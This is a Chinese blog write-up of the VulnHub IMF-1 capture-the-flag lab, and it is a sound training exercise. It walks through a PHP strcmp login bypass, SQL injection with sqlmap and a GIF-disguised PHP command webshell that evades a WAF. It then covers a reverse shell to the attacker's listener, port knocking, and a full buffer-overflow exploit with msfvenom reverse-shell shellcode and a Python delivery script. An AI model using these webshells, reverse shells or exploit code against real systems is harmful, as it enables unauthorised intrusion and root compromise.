渗透项目(八):IMF-1

靶机地址:https://www.vulnhub.com/entry/imf-1,162/

1、IMF考察点

1)信息收集:

  1. nmap收集信息

  1. curl base64深入枚举

  1. 页面信息枚举cewl

2)webshell:

  1. php strcmp绕过

  1. IMF CMS sql注入

  1. 文件上传绕过waf(hexdump、反引号、十六进制、weevely)

  1. 代码审计htaccess

  1. 审计WAF

3)提权:

CVE-2021-4034

4)缓冲区溢出:

  1. base64下载

  1. 端口碰撞

  1. Itrace跟踪

  1. strings分析

  1. GDB-pead分析

  1. 绕过ALSR

  1. 偏移量、JMP、shellcode编写

  1. python3 exp编写

2、渗透过程

  • 将下载好的靶场解压添加到虚拟机中,且设置为同一网段

  • 查看攻击机kali的ip为192.168.56.104.扫描同网段存活主机,输入命令:

nmap 192.168.56.1/24 -sP
  • 发现存活主机,192.168.56.101为我们此次攻击的靶机,然后扫描其端口,发现80端口

  • 输入ip地址到浏览器,并检查页面情况及源代码情况

  • 页面并无有用信息,查看源代码,发现存在一个flag1,并且内容为base64编码格式。

  • 输入命令:

echo 'YWxsdGhlZmlsZXM=' | base64 -d #进行解码,获得flag1{allthefiles}
  • 接着对源代码进行挖掘,发现在js文件出存在类似base64的编码格式文件存在

  • 将其分解并向刚才操作一般,解密后获得flag2{aW1mYWRtaW5pc3RyYXRvcg==},再进行解密发现了flag2{imfadministrator}

  • 再没有其他的发现了,目前没有什么信息可以利用,发现在flag2中,存在着administrator的字样存在,利用该单词去当作web的路径进行输入发现了个简易的登录框

  • 查看源代码发现,该框不能进行sql注入

  • 对此,我们可以看到上述输入框中的变量值,尝试输入查看变化

  • 打开burpsuite,利用抓包改包,看看是否可以绕过

  • 将抓到的包发送给repeater,在里面构造包,通过发送,查看回显

  • 说明,这里是无效的用户名,和pass无关,可以枚举出用户名

  • 返回web端,查看页面的信息,在Contract Us界面发现有三个邮箱

  • 可以利用他们去做尝试

  • 发现用户名正确,密码错误了,剩下两个用户测试发现均为无效用户

  • 下面进行绕过操作,参考php strcmp比较字符串绕过:字符串和数组进行比较

  • 构建一个payload:?a[]

  • 在靶机中的pass改为pass[]

  • 获得flag3{Y29udGludWVUT2Ntcw==},利用bp的decoder解密:

  • flag3{continueTOcms},发现flag中包括cms,重新抓包,改包后,进入新的页面

  • 该界面是存在sql注入的,重新抓包,并将信息保存下来,利用sqlmap去攻击

  • 然后输入sqlmap -r 1.txt --dump #--可以获取数据库,但是无法获取shell --dump:导出列里面的字段

  • 发现存在一个图片路径,/images/whiteboard.jpg,发现存在一个二维码,扫描后发现

flag4{dXBsb2Fkcjk0Mi5waHA=},flag4{uploadr942.php},是一个上传的php

  • 经过尝试允许上传jpg、png、gif,但是存在waf,利用双扩展名或空字符都无法绕过waf

  • 先查到本地存在php的shell,然后利用php的webshell改格式为gif进行上传发现存在waf

  • 在IMF文件下创建一个新的.gif文件,文件头为,通过插入GIF89a十六​​进制标头并附加,WAF没有发现为恶意的php代码来创建一个gif文件

GIF89a

上传后发现上传成功

  • 查看源代码中,发现了文件变化改变,然后去uploads路径下输入,该编号.gif

  • 发现上传成功,下面构造一个webshell,上传

GIF89a
<?php $cmd=$_GET['cmd']; echo `$cmd`;?> 
  • 通过刚才的操作,利用GET请求,可以看到目录下存在flag5

  • 读取flag5{YWdlbnRzZXJ2aWNlcw==} ,flag5{agentservices}

  • 获取服务器的shell,修改之前复制到IMF文件的reverser-php中的IP地址为本地kali的ip

  • 利用刚才上传的文件的cmd远程命令,先在kali上开启服务,然后从kali本机上下载修改后的shell-php

  • 查看后,发现上传成功

  • 在kali中开启监听 nc -lvp 1234

  • 在浏览器的uploads路径下访问刚才上传的reverse-shell,反弹一个shell

  • 第二种获取shell的方法:weevely

  • weevely generate passxiaoli xiaoli.php ---生成xiaoli.php文件密码为passxiaoli

generate ---生成新代理

  • mv xiaoli.php xiaoli.gif ---然后头部加入GIF98a并改名文件为gif

  • 然后上传文件,看源码ID: 085af1fd2790

  • weevely http://192.168.56.101/imfadministrator/uploads/085af1fd2790.gif passxiaoli

成功获得shell,该shell很稳定!

cat查看信息:

AddType application/x-httpd-php .php .gif

AddHandler application/x-httpd-php .gif

可看到该文件与继续gif解析php文件!

  • 获取了低权限,下面进行提权了,从flag5中发现它的内容是agentservices,拆开看就是agent services。输入命令find / -name agent &>/dev/null

  • 输入命令/usr/local/bin/agent,这使用>/dev/null把错误信息重定向到黑洞中,只留下正确的信息回显,这时候我们就能快速而准确的找到我们需要的文件了…发现有代理在执行

  • 进去/usr/local/bin/目录后,发现两个文件,查看除agent外的文件,然后输入netstat -ant查看端口情况

  • 发现存在SYN 三个端口,然后利用knock去敲震这三个端口

  • 重新nmap 靶机

  • 7788端口被敲开,然后在kali本地利用nc去连接

  • 不知道Agent ID是什么

  • 在shell中查看是否安装python,发现安装了python3,查看是否安装perl,利用perl反弹一个shell

利用上述一句话:

一句话连接可以参考:https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

  • 利用base64 agent,将输出的内容复制到本地kali上,然后再从base64转换回来

  • 先继续分析本地kali上的agent!使用ltrace(跟踪进程调用库函数的情况)查看agent信息:

  • ltrace ./agent

  • 发现了比较函数,ID的对比函数,得知了正确的ID值,输入ID:48093572,进到该程序中了

  • strncmp("\n", "48093572", 8) = -1 ----正在将我提供的字符串与字符串48093572进行比较,在这种情况下导致=-1)

  • 通过上述的比较函数等分析,该程序应该存在缓冲区溢出

  • 利用strings agent,也可以查看该程序的信息,发现了strncmp,以及两个%s

  • 这里两个地方使用了“%s”,这很可能是一个有效的溢出点!

  • 运行程序后,提前用python生成200个字符,进行输入测试

  • 发现有分段错误,存在缓冲区溢出,下一步就要找打它的偏移量,利用gdb去分析该程序

  • 对于缓冲区溢出的操作如下:

1、使用gdb调试
gdb -q ./file
2、生成1000位值
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
3、GDB执行值,查看错误点
4、解析错误点判断偏移量
5、vmmap查看信息
6、验证EIP
7、验证ESP
8、确认坏字符
缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。常见的坏字符有x0a、x0b、x00
9、msf生成payload
  • 输入200值后,发现segmentation fault溢出报错!存在缓冲区溢出!0x41366641报错

  • 找到偏移量168,在168位之后编写shellcode

  • 找到EAX的值为:0x8048563,目前知道了JMP值:0x8048563偏移量:168接下来创建shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.104 LPORT=4444 -f python -b "\x00\x0a\x0b"
payload:
-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-f 编译的语言
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
  • 因为该程序需要在运行时输入ID,然后选择选项,所以写个脚本来进行操作:

最终代码:exp.py
------------------------------
#!/usr/bin/python
import time, struct, sys
import socket as so

#Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell/reverse_tcp LPORT=4444 LHOST=192.168.56.104 -b "\x00\x0a\x0d" -f py

buf =  b""
buf += b"\xbf\x64\x68\x24\x07\xdb\xc2\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x1f\x31\x7b\x15\x03\x7b\x15\x83\xc3\x04\xe2"
buf += b"\x91\x02\x2e\x59\x68\x08\xd9\x86\xd9\xed\x75\x23\xdf"
buf += b"\x41\x1f\x3a\x3e\x6c\x60\xab\x9b\x07\xa1\x7c\x23\xb0"
buf += b"\x49\x7f\x53\x51\xd6\xf6\xb2\x3b\x80\x50\x64\xed\x1b"
buf += b"\xe8\x65\x4e\x69\x6a\xe0\x91\x08\x72\xa4\x65\xd6\xec"
buf += b"\x9a\x86\x28\xed\x82\xec\x28\x87\x37\x78\xcb\x66\xfe"
buf += b"\xb7\x8c\x0c\xc0\x31\x30\xe5\xe7\x73\x4d\x43\xe7\x63"
buf += b"\x52\xb3\x6e\x60\x93\x58\x7c\xa6\xf7\x93\xcc\x55\x35"
buf += b"\x2b\xa9\x66\xbd\x3c\xea\xef\xdf\xa4\xbe\xd4\xaf\xd4"
buf += b"\x73\x94\x55\x1a\xf3\x97\xaa\x7a\xbb\x99\x54\x7d\xbb"
buf += b"\x22\x55\x7d\xbb\x54\x9b\xfd"



#CALL EAX address is 8048563
buf += "A" * (168 - len(buf))

buf +="\x63\x85\x04\x08\n"

try:
   server = str(sys.argv[1])
   port = int(sys.argv[2])
except IndexError:
   print "[+] Usage example: python %s 192.168.56.101 7788" % sys.argv[0]
   sys.exit()

#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)   
print "\n[+] Attempting to send buffer overflow to agent...."
try: 
   s.connect((server,port))
   s.recv(1024)
   s.send("48093572\n")
   s.recv(1024)
   s.send("3\n")
   s.send(buf)
   s.recv(1024)
   print "\n[+] Completed."
except:
   print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
   sys.exit()


client.recv(512) 中recv是recvsize的缩写,参考:https://blog.csdn.net/momod/article/details/105883550   当使用socket模块,在接收请求数据时一般用s.recv()函数。这个函数有一个bufsize参数,指定要接受的最大数据量。一般教程会推荐设定这个值为1024。如这个简单的服务器代码:
当修改bufsize,小于一定长度,比如128,运行后访问127.0.0.1:8080,网页不会报错,但不显示任何内容。
  • 然后开启监听,运行exp.py即可反弹回

然后返回来的直接是root权限,直接查看flag文件

  • cat Flag.txt

  • flag6{R2gwc3RQcm90MGMwbHM=}

  • Gh0stProt0c0ls

3、总结

到此,该靶机的所有flag以集齐,该靶机所蕴含的知识非常多,其中最重要的还是缓冲区溢出的漏洞,希望能够给入门的同学起到一定的指导。前段时间一直在看论文写方案,准备论文开题,所以一直也没有抽空接着做靶机的渗透学习,开题已经结束了,后续会继续更新,希望大家多多关注,从中能够学到一些知识。

继续努力~

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值